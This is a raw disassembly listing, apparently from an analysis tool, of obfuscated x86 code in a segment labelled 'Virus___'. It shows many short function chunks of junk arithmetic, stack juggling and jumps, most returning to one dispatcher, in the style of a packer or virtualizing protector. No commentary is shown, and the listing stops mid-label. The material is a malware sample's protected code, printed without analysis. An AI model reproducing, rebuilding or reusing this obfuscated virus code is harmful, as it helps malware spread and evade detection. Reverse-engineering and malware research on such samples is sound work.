loc_543520:				; CODE XREF: sub_545A2B+4FF8j
		mov	ebx, esp
		push	ebp
		jmp	loc_543819
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_543528:				; CODE XREF: sub_543A46+6j
		mov	[esp+4+var_4], ecx
		mov	ecx, 30FF367Ch
		push	ebp
		mov	ebp, 75F42E81h
		add	ecx, ebp
		jmp	loc_5433AC
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54353D:				; CODE XREF: sub_545A2B-2072j
		push	edi
		push	esp
		pop	edi
		jmp	loc_54AE78
; ---------------------------------------------------------------------------


loc_543545:				; CODE XREF: sub_545A2B+67EDj
		shl	word ptr [esp-22h+arg_1E], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54354F:				; CODE XREF: sub_545A2B-11AFj
		shr	ecx, 4
		sub	ecx, 1A1E29C4h
		jmp	loc_54D450
; ---------------------------------------------------------------------------


loc_54355D:				; CODE XREF: sub_545A2B-1C45j
		pop	ecx
		xchg	eax, [esp-22h+arg_1E]
		jmp	loc_54AD9C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_543566:				; DATA XREF: Virus___:00542E18o
		movzx	ax, byte ptr [edx]
		push	small 6C8Bh
		mov	[esp], ax
		jmp	loc_54A3F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543577:				; CODE XREF: sub_545A2B+6AAFj
		add	esi, ebp
		pop	ebp
		jmp	loc_54F034
; ---------------------------------------------------------------------------


loc_54357F:				; CODE XREF: sub_545A2B+3589j
		push	esp
		pop	[esp-22h+arg_1E]
		push	2049h
		mov	[esp-22h+arg_1E], edx
		jmp	loc_545F31
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_543590:				; CODE XREF: sub_54317D+311j
		add	ebx, 983E9724h
		add	eax, ebx
		jmp	loc_54D904
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------


loc_54359D:				; CODE XREF: Virus___:00543AB0j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5435B1:				; CODE XREF: sub_545A2B-AD2j
		mov	ecx, 6C201A1Dh
		add	eax, ecx
		pop	ecx
		sub	eax, ebx
		push	edi
		mov	edi, 6CE50A4Ah
		not	edi
		shl	edi, 3
		shr	edi, 4
		not	edi
		add	edi, 75AD94F8h
		sub	eax, edi
		push	[esp-22h+arg_1E]
		pop	edi
		add	esp, 4
		mov	ebx, [esp-26h+arg_22]
		push	ebx
		jmp	sub_54EB9E
; ---------------------------------------------------------------------------


loc_5435E3:				; CODE XREF: sub_545A2B+9Dj
		mov	ebx, 46A975AAh
		add	ebx, 1A816C3h
		xor	ebx, 1F4AF509h
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 11BB0C84h
		neg	ebp
		add	ebp, 8701423Ah
		sub	edi, ebp
		pop	ebp
		add	edi, esi
		jmp	loc_54B9B0
; ---------------------------------------------------------------------------


loc_54360F:				; CODE XREF: sub_545A2B+6767j
		sub	edi, 0D86BAFDCh
		add	edx, edi
		mov	edi, [esp-26h+arg_22]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp-2Ah+arg_26]
		pop	esp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54362C:				; CODE XREF: sub_545A2B+6531j
		add	esi, 4
		push	esi
		push	[esp-2Ah+arg_2A]
		mov	esi, [esp-26h+arg_22]
		add	esp, 4
		pop	[esp-2Ah+arg_26]
		mov	esp, [esp-2Eh+arg_2A]
		movzx	ecx, ax
		push	edi
		jmp	sub_543958
; ---------------------------------------------------------------------------


loc_54364C:				; CODE XREF: sub_545A2B+6F9Bj
		push	16F5h
		mov	[esp-26h+arg_22], eax
		push	esp
		jmp	loc_549E49
; ---------------------------------------------------------------------------


loc_54365A:				; CODE XREF: sub_545A2B+8B0j
		test	cx, ax
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_542FBE


loc_543663:				; CODE XREF: sub_542FBE+C0C3j
		add	esi, ebp
		pop	ebp
		sub	esi, 10EE5DBAh
		sub	esi, 0ACA62E48h
		add	ebx, esi
		pop	esi
		sub	ebx, 96151A0h
		jmp	loc_54D55F
; END OF FUNCTION CHUNK	FOR sub_542FBE

; =============== S U B	R O U T	I N E =======================================



sub_543680	proc near		; CODE XREF: sub_545A2B+89B0j

; FUNCTION CHUNK AT 0054DB6C SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 3F7D6998h
		or	ebx, 38DD7AD0h
		xor	ebx, 0CF4724BFh
		sub	edx, ebx
		pop	ebx
		xor	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_54DB6C
sub_543680	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5436A5:				; CODE XREF: sub_545A2B+1C44j
		push	esp
		mov	ebp, [esp-1Ah+arg_16]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4093384Fh
		jmp	loc_5495E1
; ---------------------------------------------------------------------------


loc_5436BD:				; CODE XREF: sub_545A2B+662Fj
		mov	ecx, 571A3761h
		jmp	loc_54AAF5
; ---------------------------------------------------------------------------


loc_5436C7:				; CODE XREF: sub_545A2B+51E7j
		mov	[esp-12h+arg_E], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		push	eax
		push	[esp-0Eh+arg_E]
		pop	eax
		jmp	loc_54E8F9
; ---------------------------------------------------------------------------


loc_5436E5:				; CODE XREF: sub_545A2B-1D5j
		pop	edx
		jmp	loc_544E1D
; ---------------------------------------------------------------------------


loc_5436EB:				; CODE XREF: sub_545A2B-14A4j
		push	ecx
		mov	ch, 0AEh
		jmp	sub_543F5A
; ---------------------------------------------------------------------------


loc_5436F3:				; CODE XREF: sub_545A2B+4B41j
		pop	ebx
		add	edi, ecx
		jmp	loc_54D6C6
; ---------------------------------------------------------------------------


loc_5436FB:				; CODE XREF: sub_545A2B+8EA5j
		mov	edi, 0E8C53D1Ah
		add	edi, ecx
		pop	ecx
		sub	edx, 41DF1DFDh
		sub	edx, edi
		jmp	loc_54D85E
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543710	proc near		; CODE XREF: sub_545A2B+A0Dj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005438E6 SIZE 00000016 BYTES

		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	40AEh
		mov	[esp+8+var_8], esi
		mov	esi, 2
		sub	ebx, 130F2DC1h
		push	edx
		mov	edx, 42C7365Bh
		dec	edx
		shl	edx, 4
		not	edx
		sub	edx, 0D0FD97D0h
		jmp	loc_5438E6
sub_543710	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54374F:				; CODE XREF: sub_545A2B+415Ej
		push	edx
		mov	edx, 0D4C323Fh
		jmp	loc_544D3A
; ---------------------------------------------------------------------------


loc_54375A:				; CODE XREF: sub_545A2B+1607j
		add	esp, 4
		xor	ecx, [esp-16h+arg_12]
		xor	[esp-16h+arg_12], ecx
		xor	ecx, [esp-16h+arg_12]
		jmp	loc_54CE19
; ---------------------------------------------------------------------------


loc_54376E:				; CODE XREF: sub_545A2B+8A5Aj
		shl	edi, 8
		jmp	loc_5479E5
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543776	proc near		; CODE XREF: sub_545A2B+5C5j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		jmp	loc_547CA3
sub_543776	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54378D:				; CODE XREF: sub_545A2B+5709j
		mov	edx, 0A4632D2h
		mov	ebp, 0A5D18A1h
		xor	ebp, edx
		jmp	loc_54ACC7
; ---------------------------------------------------------------------------


loc_54379E:				; CODE XREF: sub_545A2B+68B1j
		pop	esi
		push	edx
		mov	edx, 4
		push	ebp
		mov	ebp, 42C33B88h
		jmp	loc_5495FC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_5437B0:				; CODE XREF: sub_543A46-687j
		mov	ebx, 79E8458Fh
		shl	ebx, 1
		jmp	loc_54D502
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5437BC:				; CODE XREF: sub_545A2B+2BA6j
		sub	edi, ebx
		pop	ebx
		jmp	loc_54D2F5
; ---------------------------------------------------------------------------


loc_5437C4:				; CODE XREF: sub_545A2B+6ABFj
		add	edx, eax
		pop	eax
		add	edx, 298123A2h
		sub	edx, ecx
		jmp	loc_54E7C9
; ---------------------------------------------------------------------------


loc_5437D4:				; CODE XREF: sub_545A2B+5072j
		pop	esi
		or	ebp, 0F8A00EEh
		push	ebx
		mov	ebx, 175B01D0h
		add	ebx, 3F633CC9h
		dec	ebx
		xor	ebx, 0F25B46BBh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5466C5
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5437F6	proc near		; DATA XREF: Virus___:00542E58o
		lodsb
		xor	al, bl
		push	edx
		push	eax
		push	ebx
		mov	bh, 56h
		jmp	loc_549E3E
sub_5437F6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543803:				; CODE XREF: sub_545A2B+3B13j
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp-22h+arg_1E]
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 35075DE1h
		jmp	loc_54E0BE
; ---------------------------------------------------------------------------


loc_543819:				; CODE XREF: sub_545A2B-2508j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp-2Ah+arg_26]
		pop	esp
		jmp	loc_54DEA1
; ---------------------------------------------------------------------------


loc_54382D:				; CODE XREF: sub_545A2B+AC1j
		pop	ebp
		jmp	loc_54C6B8
; ---------------------------------------------------------------------------


loc_543833:				; CODE XREF: sub_545A2B+6C51j
		xor	ebp, [esp-32h+arg_2E]
		mov	esp, [esp-32h+arg_2E]
		mul	cl
		jmp	loc_5490B0
; ---------------------------------------------------------------------------


loc_543840:				; CODE XREF: sub_545A2B+3898j
		add	eax, ebx
		sub	eax, 3EC85A41h
		push	edi
		jmp	loc_54330B
; ---------------------------------------------------------------------------


loc_54384D:				; CODE XREF: sub_545A2B-B49j
		mov	esi, 4DB9747Ah
		shr	esi, 2
		add	esi, 47217FF7h
		jmp	loc_54400E
; ---------------------------------------------------------------------------


loc_543860:				; CODE XREF: sub_545A2B+6FEj
		pop	cx
		jmp	loc_547B77
; ---------------------------------------------------------------------------


loc_543867:				; CODE XREF: sub_545A2B+25D0j
		pop	esp
		and	[esp-34h+arg_2E+2], eax
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D226


loc_543871:				; CODE XREF: sub_54D226+1Ej
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_5488AC
; END OF FUNCTION CHUNK	FOR sub_54D226
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54387F:				; CODE XREF: sub_545A2B+2DD6j
		add	ebp, 2
		push	1AC3h
		mov	[esp-2Ch+arg_26+2], ebp
		push	[esp-2Ch+arg_2A+2]
		push	[esp-28h+arg_22+2]
		pop	ebp
		add	esp, 4
		pop	[esp-2Ch+arg_26+2]
		mov	esp, [esp-30h+arg_2A+2]
		mov	ax, word ptr [esp-30h+arg_2A+2]
		push	esi
		jmp	loc_54A173
; ---------------------------------------------------------------------------


loc_5438A8:				; CODE XREF: sub_545A2B+35Aj
		mov	edi, 2DC67F75h
		xor	edi, 34FF13B3h
		not	edi
		inc	edi
		xor	edi, 169E6500h
		not	edi
		inc	edi
		xor	edi, 0E9B8E9C4h
		add	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp-34h+arg_2E+2]
		xor	[esp-34h+arg_2E+2], ebp
		xor	ebp, [esp-34h+arg_2E+2]
		pop	esp
		movzx	cx, al
		push	small 7A8h
		mov	word ptr [esp-36h+arg_32], cx
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543710


loc_5438E6:				; CODE XREF: sub_543710+3Aj
		add	ebx, edx
		pop	edx
		sub	ebx, 4AF46876h
		add	ebx, esi
		add	ebx, 4AF46876h
		jmp	loc_54BB8A
; END OF FUNCTION CHUNK	FOR sub_543710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5438FC:				; CODE XREF: sub_545A2B+3485j
		add	edi, 2E3F7358h
		mov	esi, [esp-36h+arg_32]
		add	esp, 4
		jmp	loc_546874
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D650


loc_543910:				; CODE XREF: sub_54D650-8866j
		pop	esp
		pop	[esp+8+var_8]
		jmp	loc_549B56
; END OF FUNCTION CHUNK	FOR sub_54D650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543919:				; CODE XREF: sub_545A2B+5F8j
		sub	edi, eax
		push	[esp-3Ah+arg_36]
		pop	eax
		add	esp, 4
		xchg	edi, [esp-3Eh+arg_3A]
		pop	esp
		mov	word ptr [esp-42h+arg_3E], dx
		push	ax
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54F099


loc_543932:				; CODE XREF: sub_54F099+Ej
		pop	esi
		jmp	loc_546AB1
; END OF FUNCTION CHUNK	FOR sub_54F099
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_544683
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_544C48


loc_54393E:				; CODE XREF: sub_544C48+17j
		mov	[esp+0], bx
		push	1F46h
		mov	[esp+0], eax
		mov	al, 4Fh
		and	al, 12h
		or	al, 0BAh
		shl	al, 5
		jmp	loc_54617A
; END OF FUNCTION CHUNK	FOR sub_544C48

; =============== S U B	R O U T	I N E =======================================



sub_543958	proc near		; CODE XREF: sub_545A2B-23E4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		push	esp
		pop	[esp+8+var_8]
		push	esi
		push	ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	[esp+8+var_4], esi
		pop	esi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5471AB
sub_543958	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543988:				; CODE XREF: sub_545A2B+6DC9j
		mov	bl, byte ptr [esp-3Ch+arg_3A+2]
		mov	byte ptr [esp-3Ch+arg_3A+2], ch
		pop	ecx
		jmp	loc_54C21D
; ---------------------------------------------------------------------------


loc_543996:				; CODE XREF: sub_545A2B+640Fj
		shr	edx, 7
		sub	edx, 0C7E96A0Ah
		add	[esp-40h+arg_42+2], 459B4C19h
		sub	[esp-40h+arg_42+2], 37AD39EAh
		jmp	loc_54504A
; ---------------------------------------------------------------------------


loc_5439B4:				; CODE XREF: sub_545A2B+4B49j
		and	eax, ecx
		mov	ecx, [esp-40h+arg_3A+2]
		jmp	loc_54353D
; ---------------------------------------------------------------------------


loc_5439BE:				; CODE XREF: sub_545A2B+2560j
		mov	ch, dh
		pop	edx
		jmp	loc_545315
; ---------------------------------------------------------------------------


loc_5439C6:				; CODE XREF: sub_545A2B+951Cj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5439CB:				; CODE XREF: sub_545A2B-F7Ej
		pop	edi
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp-4Ch+arg_46+2]
		jmp	loc_54EC18
; ---------------------------------------------------------------------------


loc_5439D9:				; CODE XREF: sub_545A2B+4B76j
		dec	dl
		dec	dl
		sub	dl, 47h
		xor	dl, 0E8h
		or	bl, dl
		pop	edx
		add	bl, 0DBh
		push	1F1Bh
		mov	[esp-4Ch+arg_46+2], ecx
		mov	cl, 0Dh
		jmp	loc_547863
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_54E084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_543A01:				; CODE XREF: sub_54317D+21j
		mov	ebx, esi
		pop	esi
		push	edx
		mov	edx, 755E33A3h
		not	edx
		not	edx
		xor	edx, 25E64E27h
		or	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_54C97C
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543A1D:				; CODE XREF: sub_545A2B+4E2Dj
		pop	ebp
		jmp	loc_54C681
; ---------------------------------------------------------------------------


loc_543A23:				; CODE XREF: sub_545A2B+206j
		mov	eax, 4F4D6C62h
		sub	esp, 4
		jmp	loc_54C901
; ---------------------------------------------------------------------------


loc_543A33:				; CODE XREF: sub_545A2B+350Fj
		add	eax, 4
		push	edx
		push	4
		mov	edx, [esp-44h+arg_3E+2]
		jmp	loc_54915B
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543A46	proc near		; CODE XREF: sub_545A2B+1BFj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005433AC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00543528 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005437B0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00544F7E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005455EE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054D502 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054DD59 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054E774 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054EFC7 SIZE 00000012 BYTES

		sub	esp, 4
		jmp	loc_543528
sub_543A46	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543A51:				; CODE XREF: sub_545A2B+3BEj
		xchg	esi, [esp-44h+arg_3E+2]
		pop	esp
		push	633Ah
		mov	[esp-44h+arg_3E+2], ebx
		push	edx
		push	edi
		mov	edi, 27C557D6h
		push	ecx
		mov	ecx, 0DA71CB97h
		mov	edx, ecx
		jmp	loc_549E35
; ---------------------------------------------------------------------------


loc_543A71:				; CODE XREF: sub_545A2B+9626j
		xchg	ebp, esi
		inc	esi
		sub	esi, 0CCDD574Ch
		jmp	loc_547E15
; ---------------------------------------------------------------------------


loc_543A7F:				; CODE XREF: sub_545A2B+36CEj
		add	dh, 0D6h
		jmp	loc_54BECC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_543A87:				; CODE XREF: Virus___:00543EACj
		push	ecx
		push	0C7Bh
		mov	[esp], edx
		push	721A122Fh
		pop	edx
		add	edx, 8DE5EDD5h
		push	esi
		mov	esi, edx
		push	edx
		push	esi
		pop	edx
		mov	ecx, edx
		pop	edx
		pop	esi
		pop	edx
		add	edi, ecx
		pop	ecx
		add	edi, 2
		jmp	loc_54359D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543AB5:				; CODE XREF: sub_545A2B+81ADj
		mov	ecx, 2DE62B78h
		inc	ecx
		add	ecx, 3199F6B5h
		xor	esi, ecx
		jmp	loc_5487D9
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5440AE


loc_543AC8:				; CODE XREF: sub_5440AE+90EFj
		sub	edx, 5AEA7987h
		sub	edx, 71394417h
		push	4E51h
		jmp	loc_54853E
; END OF FUNCTION CHUNK	FOR sub_5440AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543ADE:				; CODE XREF: sub_545A2B+8A1Cj
		push	edx
		mov	dl, 40h
		neg	dl
		shl	dl, 2
		sub	dl, 0A7h
		or	bh, dl
		pop	edx
		or	bh, 0CEh
		xor	bh, 0D0h
		xor	al, bh
		pop	ebx
		jmp	loc_548C14
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54CEC0


loc_543AFA:				; CODE XREF: sub_54CEC0+17j
		push	ecx
		mov	ecx, 199216F3h
		jmp	loc_54F35F
; END OF FUNCTION CHUNK	FOR sub_54CEC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543B05:				; CODE XREF: sub_545A2B+68D3j
		push	ecx
		mov	ecx, 51171109h
		jmp	loc_5495E9
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_544FD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543B22:				; CODE XREF: sub_545A2B+1348j
		mov	esi, 1CAE5458h
		jmp	loc_546050
; ---------------------------------------------------------------------------


loc_543B2C:				; CODE XREF: sub_545A2B-253Cj
		mov	ah, 7Ch
		not	ah
		xor	ah, 0FCh
		dec	ah
		jmp	loc_547F83
; ---------------------------------------------------------------------------


loc_543B3A:				; CODE XREF: sub_545A2B+4954j
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_54CC24
; ---------------------------------------------------------------------------


loc_543B45:				; CODE XREF: sub_545A2B+6012j
		and	ecx, 32533F75h
		dec	ecx
		add	ecx, 782C5215h
		xor	ecx, 0BC4C1CF4h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 5201620Fh
		add	ebx, 32F29B23h
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp-2Ah+arg_2A]
		mov	edx, [esp-26h+arg_22]
		add	esp, 4
		pop	[esp-2Ah+arg_26]
		mov	esp, [esp-2Eh+arg_2A]
		jmp	loc_54F392
; ---------------------------------------------------------------------------


loc_543B83:				; CODE XREF: sub_545A2B-1D82j
		pop	edx
		shr	bh, 3
		or	bh, 0C8h
		and	bh, 99h
		push	ecx
		mov	ch, 2Bh
		shl	ch, 2
		jmp	loc_54ADAF
; ---------------------------------------------------------------------------


loc_543B98:				; CODE XREF: sub_545A2B+53AEj
		mov	ecx, 49095E22h
		inc	ecx
		shr	ecx, 4
		xor	ecx, 5986F5B7h
		sub	edx, ecx
		pop	ecx
		sub	edx, 1F3F10F2h
		jmp	loc_54F00D
; ---------------------------------------------------------------------------


loc_543BB5:				; CODE XREF: sub_545A2B+1B28j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543BBA:				; CODE XREF: sub_545A2B+1A72j
		sub	eax, 786F252Ah
		sub	eax, edi
		add	eax, 786F252Ah
		sub	eax, 25AD7FC2h
		pop	edi
		push	edx
		mov	edx, 6DB72B1Bh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp-2Eh+arg_2A]
		xor	[esp-2Eh+arg_2A], ecx
		xor	ecx, [esp-2Eh+arg_2A]
		mov	esp, [esp-2Eh+arg_2A]
		mov	[esp-2Eh+arg_2A], esi
		mov	esi, 436F3BC5h
		jmp	loc_5462E0
; ---------------------------------------------------------------------------


loc_543BF7:				; CODE XREF: sub_545A2B+2D7Dj
		add	edx, 4
		jmp	sub_54537B
; ---------------------------------------------------------------------------


loc_543C02:				; CODE XREF: sub_545A2B+95B4j
		add	eax, 4
		jmp	loc_546C54
; ---------------------------------------------------------------------------


loc_543C0C:				; CODE XREF: sub_545A2B+2DE7j
		add	esi, 2
		xor	esi, [esp-2Eh+arg_2A]
		jmp	loc_54CFA9
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_543C1A:				; CODE XREF: Virus___:0054EC13j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		jmp	loc_54DB01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543C34:				; CODE XREF: sub_545A2B+47B7j
		pop	edi
		sub	eax, ebx
		jmp	loc_543CFD
; ---------------------------------------------------------------------------


loc_543C3C:				; CODE XREF: sub_545A2B+7238j
		push	small word ptr [eax]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543C44:				; CODE XREF: sub_545A2B+6A25j
		not	esi
		jmp	loc_5480AB
; ---------------------------------------------------------------------------


loc_543C4B:				; CODE XREF: sub_545A2B+9669j
		add	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		add	ecx, 4B801990h
		pop	eax
		add	ecx, 4
		push	ecx
		push	[esp-38h+arg_36+2]
		mov	ecx, [esp-34h+arg_2E+2]
		add	esp, 4
		pop	[esp-38h+arg_32+2]
		jmp	loc_548422
; ---------------------------------------------------------------------------


loc_543C74:				; CODE XREF: sub_545A2B+5DB5j
		mov	ebp, esp
		jmp	loc_54EA87
; ---------------------------------------------------------------------------


loc_543C7B:				; CODE XREF: sub_545A2B+1F1Dj
		push	5B62h
		mov	[esp-38h+arg_32+2], ebp
		jmp	loc_54E216
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_543C88:				; DATA XREF: Virus___:00542EC0o
		push	698Ah
		jmp	loc_544F2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543C92:				; CODE XREF: sub_545A2B+1FAFj
		xor	[esp-38h+arg_32+2], ebx
		xor	ebx, [esp-38h+arg_32+2]
		jmp	loc_549EAC
; ---------------------------------------------------------------------------


loc_543C9D:				; CODE XREF: sub_545A2B+9F7j
		shl	dh, 1
		or	dh, 0E8h
		inc	dh
		xor	dh, 38h
		add	bh, dh
		jmp	loc_543B83
; ---------------------------------------------------------------------------


loc_543CAE:				; CODE XREF: sub_545A2B+4F16j
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_54EA9A
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543CBA	proc near		; DATA XREF: Virus___:00542E74o

var_4		= dword	ptr -4

		mov	ax, [esp+0]
		push	595Dh
		mov	[esp+4+var_4], ecx
		jmp	loc_54B35F
sub_543CBA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543CCB:				; CODE XREF: sub_545A2B+8C8Aj
		mov	eax, ecx
		mov	ecx, [esp-38h+arg_32+2]
		add	esp, 4
		add	eax, 6E41540Fh
		sub	eax, 70D77328h
		add	eax, edi
		push	edi
		mov	edi, 70D77328h
		add	eax, edi
		pop	edi
		sub	eax, 6E41540Fh
		sub	esp, 4
		mov	[esp-38h+arg_32+2], edx
		mov	edx, 0
		jmp	loc_54BFAB
; ---------------------------------------------------------------------------


loc_543CFD:				; CODE XREF: sub_545A2B-1DF4j
		pop	ebx
		jmp	loc_54C30E
; ---------------------------------------------------------------------------


loc_543D03:				; CODE XREF: sub_545A2B+7AD2j
		xchg	edi, [esp-36h+arg_32]
		mov	esp, [esp-36h+arg_32]
		jmp	loc_547453
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5457F5


loc_543D0E:				; CODE XREF: sub_5457F5+8j
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		push	ebx
		push	72C46394h
		pop	ebx
		shl	ebx, 8
		sub	ebx, 0C46393FEh
		jmp	loc_546183
; END OF FUNCTION CHUNK	FOR sub_5457F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543D2C:				; CODE XREF: sub_545A2B+2AC4j
		pop	small word ptr [eax]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543D34:				; CODE XREF: sub_545A2B-339j
		pop	esp
		xor	ebp, [esp-3Ch+arg_36+2]
		xor	[esp-3Ch+arg_36+2], ebp
		xor	ebp, [esp-3Ch+arg_36+2]
		jmp	loc_54EF59
; ---------------------------------------------------------------------------


loc_543D43:				; CODE XREF: sub_545A2B+1027j
		mov	ah, dh
		mov	ch, ah
		pop	eax
		pop	edx
		add	al, 0A4h
		add	al, 0BAh
		jmp	loc_547855
; ---------------------------------------------------------------------------


loc_543D52:				; CODE XREF: sub_545A2B+70D4j
